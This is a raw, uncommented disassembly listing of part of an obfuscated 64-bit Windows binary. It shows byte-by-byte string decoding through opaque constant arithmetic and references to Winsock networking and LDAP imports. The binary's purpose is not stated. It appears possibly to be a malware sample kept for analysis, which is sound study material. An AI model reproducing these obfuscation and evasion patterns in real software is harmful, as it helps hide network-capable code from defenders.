lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x1401f2a36
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x1401f2823
lea rbx, [r10 + 0x1000]
lea r10, [rbx + 0x400]
jmp 0x1401f2823
movabs rdx, 0xd8debc3420b0271e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401f2816
movabs rdx, 0xe47bc2b44c6b50ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x66
add dil, dl
mov qword [rbp - 0x50], rdi
jmp 0x1401f27bc
movabs rdx, 0xf018c93478267ab6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
mov qword [rbp - 0x50], rdi
jmp 0x1401f2747
movabs rdx, 0x3079ddf1a6964910
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r11b, r8b
sub r11b, al
sub r11b, 0x70
add r11b, dl
jmp 0x1401f3152
movabs rcx, 0x3c16e471d25172dc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r11d, [rcx + r8]
sub r11b, 4
jmp 0x1401f3197
movabs rdx, 0x47b3eaf1fe0c9ca8
mov ecx, 0x34
jmp 0x1401f2f02
movabs rdx, 0x5350f17229c7c674
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r11b, r8b
sub r11b, al
sub r11b, 0x2c
add r11b, dl
jmp 0x1401f31c7
movabs rdx, 0x5eedf7f25582f040
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401f3203
movabs rcx, 0x6a8afe72813e1a0c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x54
jmp 0x1401f310b
movabs rdx, 0x762804f2acf943d8
mov ecx, ntohl
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r8b
jmp 0x1401f325a
movabs rcx, 0x81c50b72d8b46da4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r11d, [r8 + rcx]
sub r11b, 0x7c
jmp 0x1401f328c
movabs rcx, 0x8d6211f3046f9770
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x1401f32e9
movabs rcx, 0xb607a8b39d7ea9ba
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x16
cmp r10, 0x41
jb 0x1401f3064
movabs rdx, 0xafb7b47749b6ac5c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 8]
jmp 0x1401f3152
movabs rdx, 0xc1a4af33c939d386
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp rbx, 3
jae 0x1401f3075
lea rcx, [r10 + 2]
cmp rbx, rcx
jbe 0x1401f2fa5
movabs rdx, 0x23d9f578ff064e54
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x4c
add dil, dl
jmp 0x1401f2b7d
movabs rcx, 0xcd41b5b3f4f4fd52
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x3e
lea rax, [r10 + rbx]
cmp rax, 0x5a
je 0x1401f309f
lea rax, [r10 + 0x41]
cmp rbx, rax
jbe 0x1401f2ebc
movabs rdx, 0x9dcab9baca338532
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x5e
add dil, dl
jmp 0x1401f2bd1
movabs rdx, 0x245b66753cf0b6cc
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401f32e9
movabs rdx, 0x2ff86cf568abe098
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r11b, r8b
sub r11b, al
sub r11b, 0x28
add r11b, dl
jmp 0x1401f328c
movabs rdx, 0x3b95737594670a64
mov ecx, Ordinal_35
jmp 0x1401f2b00
movabs rcx, 0x473279f5c0223430
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x50
jmp 0x1401f310b
movabs rdx, 0x52cf8075ebdd5dfc
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r8b
jmp 0x1401f3217
movabs rcx, 0x5e6c86f6179887c8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r11d, [r8 + rcx]
sub r11b, 0x78
jmp 0x1401f31c7
movabs rcx, 0x6a098d764353b194
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r11d, [rcx + r8]
sub r11b, 0xc
jmp 0x1401f319a
movabs rdx, 0x75a693f66f0edb60
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r8b
jmp 0x1401f3197
movabs rcx, 0x81439a769aca052c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r11d, [r8 + rcx]
sub r11b, 0x34
jmp 0x1401f3152
lea rcx, [r10 + 2]
cmp rbx, rcx
jae 0x1401f2ddb
movabs rdx, 0xfa317cbfea226b1a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401f2c2c
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401f2e0b
movabs rdx, 0xc1e777c69a59244
mov ecx, reloc.WS2_32.dll_select
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401f32e9
cmp rbx, rcx
jne 0x1401f2e2c
movabs rdx, 0xf4e46a7c122f3eac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
jmp 0x1401f324e
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401f2e5a
movabs rdx, 0xd20d56fb8efdc148
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r8b
jmp 0x1401f2ab2
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x1401f2e87
movabs rcx, 0xc670507b6342977c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r11d, [rcx + r8]
sub r11b, 0x64
jmp 0x1401f319a
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401f2c2c
movabs rdx, 0xbad349fb37876db0
mov ecx, Ordinal_26
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r8b
add r11b, dl
jmp 0x1401f3197
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401f2eea
movabs rdx, 0x922db33a9e785b66
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r8b
jmp 0x1401f2a54
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401f2f1b
movabs rdx, 0x7af3a63a470207ce
mov ecx, Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r8b
add r11b, dl
jmp 0x1401f319a
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401f2f48
movabs rcx, 0x63b99939ef8bb436
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r11d, [rcx + r8]
sub r11b, 0x7a
jmp 0x1401f3217
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401f2f74
movabs rdx, 0x4c7f8c399815609e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r11b, r8b
sub r11b, al
sub r11b, 0x52
jmp 0x1401f3257
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x1401f2bd1
movabs rcx, 0x35457f39409f0d06
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x2a
jmp 0x1401f32e9
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401f2fc2
movabs rdx, 0x183ceef8d34b2488
mov ecx, 0x24
jmp 0x1401f2df3
cmp rbx, rcx
jne 0x1401f2fea
movabs rdx, 0xc9fe878a78ffabc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r11b, r8b
sub r11b, al
sub r11b, 0x24
jmp 0x1401f2cb2
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401f3017
movabs rcx, 0xe9c8d4f8245e7d58
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r11d, [rcx + r8]
sub r11b, 0x68
jmp 0x1401f3217
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401f3034
movabs rdx, 0xc6f1c177a12cfff4
mov ecx, Ordinal_46
jmp 0x1401f2ea3
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x1401f2b7d
movabs rdx, 0xbb54baf77571d628
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r11b, r8b
sub r11b, al
sub r11b, 0x18
jmp 0x1401f2a54
mov byte [rbp + r9 + 0xcd0], dil
mov qword [rbp - 0x50], rdi
jmp 0x1401f32fc
movabs rdx, 0xa41aadf71dfb8290
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + r9 + 0xcd0]
jmp 0x1401f2e52
movabs rdx, 0x987da776f24058c4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r11b, r8b
sub r11b, al
sub r11b, byte [rbp + r9 + 0xcd0]
sub r11b, 0x5c
jmp 0x1401f3257
movabs rcx, 0x292707bcd6f97ac2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r11d, [r8 + rcx]
sub r11b, 0x4e
jmp 0x1401f328c
movabs rcx, 0x406114bd2e6fce5a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x76
mov qword [rbp - 0x50], rdi
jmp 0x1401f3221
movabs rcx, 0x6338283db1a14bbe
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r11d, [r8 + rcx]
sub r11b, 0x32
jmp 0x1401f319a
movabs rcx, 0x7a72353e09179f56
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r11d, [r8 + rcx]
sub r11b, 0x5a
movabs rcx, 0xa9e9313733d91776
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x3a
add cl, r8b
mov byte [rbp + r9 + 0xcd0], cl
jmp 0x1401f3197
movabs rcx, 0x9d4948be8c491cba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r11d, [rcx + r8]
sub r11b, 0x16
add r10, r15
mov qword [rbp - 0x50], r11
sub r9, r15
mov rdi, r11
jmp 0x1401f32fc
movabs rcx, 0xb48355bee3bf7052
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r11d, [r8 + rcx]
sub r11b, 0x3e
movabs rcx, 0x9e4c2ab7081dedaa
add rcx, r9
mov al, cl
and al, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_45
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
add dl, r8b
mov byte [rbp + r9 + 0xcd0], dl
jmp 0x1401f3217
movabs rdx, 0xc0205c3f0f7a9a1e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r8b
add r11b, dl
mov qword [rbp - 0x50], r11
add rbx, r10
mov rdi, r11
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401f32fc
mov r8, r11
movabs rdx, 0xd75a693f66f0edb6
add rdx, r9
mov al, dl
and al, r11b
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r8b
add r11b, dl
movabs rdx, 0x92af2436dc62c3de
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x12
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0xcd0], al
add r10, r15
add rax, r10
sub r9, rax
mov qword [rbp - 0x50], r11
movabs rdx, 0x8ce0a0f6c6852ef8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xcd0], cl
add rbx, r15
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
mov rdi, r11
jmp 0x1401f32ed
movabs rcx, 0xee94763fbe67414e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub r11b, al
lea edi, [rcx + r11]
sub dil, 0x22
mov qword [rbp - 0x50], rdi
movzx eax, byte [rbp + r9 + 0xcd0]
add rax, r10
add r9, rax
add r9, r15
jmp 0x1401f2734
movabs rdx, 0xfbb5cfb4a3e1a482
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
mov qword [rbp - 0x50], rdi
jmp 0x1401f272f
movabs rcx, 0x752d634cf9cce4e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x22
mov qword [rbp - 0x50], rdi
jmp 0x1401f271f
lea rdx, [rbp + 0x1600248]
jmp 0x1401f336f
lea rdx, [rbp + 0x1026d62]
jmp 0x1401f336f
lea rdx, [rbp + 0xcd0]
lea rcx, [rbp + 0x320]
call fcn.14009ef00
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1750]
call fcn.14026a60a
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1401f33a4
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov r8d, r12d
lea rcx, [rbp + 0x1750]
call fcn.14018c840
nop
lea rcx, [rbp + 0x1750]
call fcn.140266950
nop
lea rcx, [rbp + 0x1750]
call fcn.1400a3400
nop
mov rcx, rbx
call fcn.1400aacb0
mov byte [rbp + 0x580], Ordinal_60
mov byte [rbp + 0x581], Ordinal_143
mov byte [rbp + 0x582], 0x61
mov byte [rbp + 0x583], 0xf3
mov byte [rbp + 0x584], 0x5a
mov byte [rbp + 0x585], 0xf1
mov byte [rbp + 0x586], 0x62
mov byte [rbp + 0x587], 0xf7
mov byte [rbp + 0x588], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x589], 0xf5
mov byte [rbp + 0x58a], 0x5b
mov byte [rbp + 0x58b], 0xfb
mov byte [rbp + 0x58c], WSAStartup
mov byte [rbp + 0x58d], 0xf9
mov byte [rbp + 0x58e], 0x5b
mov byte [rbp + 0x58f], 0xff
mov byte [rbp + 0x590], r14b
mov byte [rbp + 0x591], 0xfd
mov byte [rbp + 0x592], 0x59
mov byte [rbp + 0x593], 0xe3
mov byte [rbp + 0x594], Ordinal_79
mov byte [rbp + 0x595], 0xe1
mov byte [rbp + 0x596], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x597], 0xe7
mov byte [rbp + 0x598], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x599], 0xe5
mov byte [rbp + 0x59a], 0x7f
mov byte [rbp + 0x59b], 0xeb
mov byte [rbp + 0x59c], 0x7a
mov byte [rbp + 0x59d], 0xe9
mov byte [rbp + 0x59e], Ordinal_79
mov byte [rbp + 0x59f], 0xef
mov byte [rbp + 0x5a0], 0x7a
mov byte [rbp + 0x5a1], 0xed
mov byte [rbp + 0x5a2], 0x88
mov byte [rbp + 0x5a3], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x5a4], 0x84
mov byte [rbp + 0x5a5], Ordinal_211
mov byte [rbp + 0x5a6], Ordinal_217
mov byte [rbp + 0x5a7], Ordinal_217
xor eax, eax
mov qword [rbp + 0x5a8], rax
call fcn.1402682a8
mov rbx, qword [rax]
call fcn.1402682b0
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x30
jae 0x1401f4134
movzx r8d, byte [rbp + r9 + 0x580]
mov rdx, r8
cmp rbx, r9
ja 0x1401f412b
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x1401f3563
movabs r11, 0xa56801fc54f0c73e
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rsi, rax, 0xfffffffffffffffe
add rsi, rcx
add rsi, rdx
add sil, 0x4e
jmp 0x1401f381f
je 0x1401f409b
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401f400e
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401f3fdb
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1401f3f89
lea rax, [r10 + 8]
cmp rbx, rax
je 0x1401f3f30
movabs r11, 0xa56801fc54f0c73e
cmp r10, r9
ja 0x1401f4122
lea rax, [r10 + 0x5a]
cmp rbx, rax
jae 0x1401f35cd
movabs rdx, 0x918829b2f7c05816
mov ecx, 0x33
jmp 0x1401f37e2
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1401f3f1e
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401f3ef8
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1401f3ed3
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1401f3ebf
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401f3e9d
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x1401f3b6d
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1401f3b53
lea rax, [r10 + 8]
cmp rbx, rax
je 0x1401f3b2e
lea rax, [r10 + 0x400]
cmp rbx, rax
je 0x1401f3b0b
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x1401f3ae6
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x1401f3ac4
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401f3aa0
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x1401f3a80
lea rax, [r10 + 0x3e8]
cmp rbx, rax
je 0x1401f3a5e
lea rax, [r10 + 0x61]
cmp rbx, rax
je 0x1401f3a37
lea rax, [r10 + 9]
cmp rbx, rax
je 0x1401f361b
lea rbx, [r10 + 5]
lea r10, [rbx + 0x20]
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x1401f40fa
lea rax, [r10 + 0x1000]
cmp rbx, rax
jb 0x1401f40d2
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x1401f3828
lea rax, [r10 + 1]
cmp rbx, rax
jb 0x1401f37fe
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x1401f37d3
lea rax, [r10 + 0x80]
cmp rbx, rax
jb 0x1401f3a11
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x1401f39eb
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x1401f39c4
lea rax, [r10 + 0xa]
cmp rbx, rax
jb 0x1401f3994
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x1401f361b
lea rbx, [r10 + 0x3e8]
lea r10, [rbx + 0x64]
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x1401f396d
lea rax, [r10 + 0x5a]
cmp rbx, rax
ja 0x1401f394b
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x1401f3929
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x1401f3902
lea rax, [r10 + 0x200]
cmp rbx, rax
ja 0x1401f38e0
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x1401f38bd
lea rax, [r10 + 8]
cmp rbx, rax
ja 0x1401f389a
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x1401f3878
lea rax, [r10 + 0x40]
cmp rbx, rax
ja 0x1401f3853
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x1401f361b
lea rbx, [r10 + 0x7a]
lea r10, [rbx + 3]
jmp 0x1401f361b
movabs rdx, 0xcf7914021ebc2eaa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, dl
mov qword [rbp - 0x48], rsi
jmp 0x1401f360e
movabs rdx, 0x84a9100974daa02e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov sil, r8b
sub sil, al
sub sil, 0x42
add sil, dl
mov qword [rbp - 0x48], rsi
jmp 0x1401f35a7
movabs rdx, 0x39d90c10caf911b2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, dl
mov qword [rbp - 0x48], rsi
jmp 0x1401f3527
movabs rdx, 0x8c414d97be02c0b0
mov ecx, Ordinal_26
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
add cl, cl
add dl, cl
add dl, r8b
jmp 0x1401f3f4e
movabs rcx, 0x4171499f14213234
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x6c
jmp 0x1401f3d2d
movabs rcx, 0xf6a145a66a3fa3b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edx, [rcx + r8]
sub dl, 8
jmp 0x1401f3f18
movabs rdx, 0xabd141adc05e153c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, r8b
jmp 0x1401f3fa5
movabs rcx, 0x61013db5167c86c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, r14b
jmp 0x1401f3fcf
movabs rdx, 0x163139bc6c9af844
mov ecx, reloc.WS2_32.dll_select
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r8b
jmp 0x1401f3ff7
movabs rcx, 0xcb6135c3c2b969c8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x78
jmp 0x1401f402f
movabs rcx, 0x809131cb18d7db4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x14
jmp 0x1401f405f
movabs rdx, 0x35c12dd26ef64cd0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r8b
jmp 0x1401f40b7
movabs rcx, 0xfab923e4c642689a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea esi, [rcx + r8]
sub sil, 0x36
mov qword [rbp - 0x48], rsi
mov byte [rbp + r9 + 0x580], sil
jmp 0x1401f40ca
movabs rdx, 0xafe91fec1c60da1e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, dl
jmp 0x1401f3c0e
movabs rdx, 0x65191bf3727f4ba2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov sil, r8b
sub sil, al
sub sil, 0x6e
add sil, dl
jmp 0x1401f3bd2
movabs rdx, 0x1a4917fac89dbd26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov sil, r8b
sub sil, al
sub sil, 0xa
add sil, dl
jmp 0x1401f3b93
movabs rdx, 0x6930fa31ce821084
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, dl
jmp 0x1401f40b7
movabs rcx, 0x1e60f63924a08208
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x38
jmp 0x1401f405f
movabs rdx, 0xd390f2407abef38c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
add cl, cl
jmp 0x1401f402a
movabs rcx, 0x88c0ee47d0dd6510
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea esi, [rcx + r8]
sub sil, 0x70
jmp 0x1401f3ff7
movabs rcx, 0x3df0ea4f26fbd694
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0xc
jmp 0x1401f3fcf
movabs rdx, 0xf320e6567d1a4818
mov ecx, Ordinal_46
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
add cl, cl
add dl, cl
add dl, r8b
jmp 0x1401f3fa7
movabs rcx, 0xa850e25dd338b99c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edx, [rcx + r8]
sub dl, 0x44
jmp 0x1401f3f18
movabs rdx, 0x5d80de6529572b20
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, r8b
add dl, cl
jmp 0x1401f3d2d
movabs rdx, 0x12b0da6c7f759ca4
add rdx, r9
mov al, r8b
and al, dl
sub dl, 0x7c
jmp 0x1401f3f45
lea rax, [r10 + 6]
cmp rbx, rax
jae 0x1401f3c43
lea rdx, [r9 + r11]
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r8b
mov qword [rbp - 0x48], rsi
lea rax, [r10 + rbx]
cmp rax, 0x80
je 0x1401f3e75
lea rax, [r10 + 0x40]
cmp rbx, rax
jbe 0x1401f3ce9
movabs rcx, 0x69c879203d5f79c6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea esi, [r8 + rcx]
sub sil, 0x6a
mov qword [rbp - 0x48], rsi
cmp rbx, 0x1000
jae 0x1401f3e4f
lea rax, [r10 + 1]
cmp rbx, rax
jbe 0x1401f3d74
movabs rcx, 0xfb50a2d3351fd1dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea esi, [r8 + rcx]
sub sil, 4
mov qword [rbp - 0x48], rsi
cmp r10, 9
jb 0x1401f39b7
movabs rcx, 0xe770ca89d7ef62b4
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0xa
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
add dl, dl
jmp 0x1401f3f4e
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401f3c6f
movabs rcx, 0x23105365ef80b02c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea esi, [r8 + rcx]
sub sil, 0x34
jmp 0x1401f40b7
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401f3c8a
movabs rdx, 0xb8b05b574343cd24
mov ecx, r12d
jmp 0x1401f3a8f
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401f3cb7
movabs rcx, 0x3805f4fed255ba0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea esi, [rcx + r8]
sub sil, 0x60
jmp 0x1401f3ff7
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401f3b97
movabs rdx, 0x4e5063489706ea1c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r8b
add dl, cl
jmp 0x1401f3fcf
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401f3d06
movabs rdx, 0xb4987d18e7410842
mov ecx, Ordinal_26
jmp 0x1401f3862
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401f3d36
movabs rcx, 0xff688111912296be
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edx, [rcx + r8]
sub dl, 0x32
mov qword [rbp - 0x48], rdx
jmp 0x1401f3f7a
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401f3d53
movabs rdx, 0x95088902e4e5b3b6
mov ecx, 3
jmp 0x1401f3af5
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x1401f3bd6
movabs rdx, 0xb189cde364d7c22
mov ecx, 9
jmp 0x1401f3a46
jne 0x1401f3d9a
movabs rcx, 0x4620a6cbdf016058
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea esi, [rcx + r8]
sub sil, 0x68
jmp 0x1401f40b7
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401f3dc5
movabs rcx, 0xdbc0aebd32c47d50
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x30
jmp 0x1401f402f
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401f3df5
movabs rdx, 0x2690b2b5dca60bcc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, dl
jmp 0x1401f3ff7
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401f3e1f
movabs rdx, 0xbc30baa7306928c4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 0x5c
jmp 0x1401f3fa5
lea rax, [r10 + 8]
cmp rbx, rax
jne 0x1401f3c12
movabs rdx, 0x9ca0c6912e0dd438
mov ecx, reloc.WLDAP32.dll_Ordinal_60
add rdx, r9
mov al, r8b
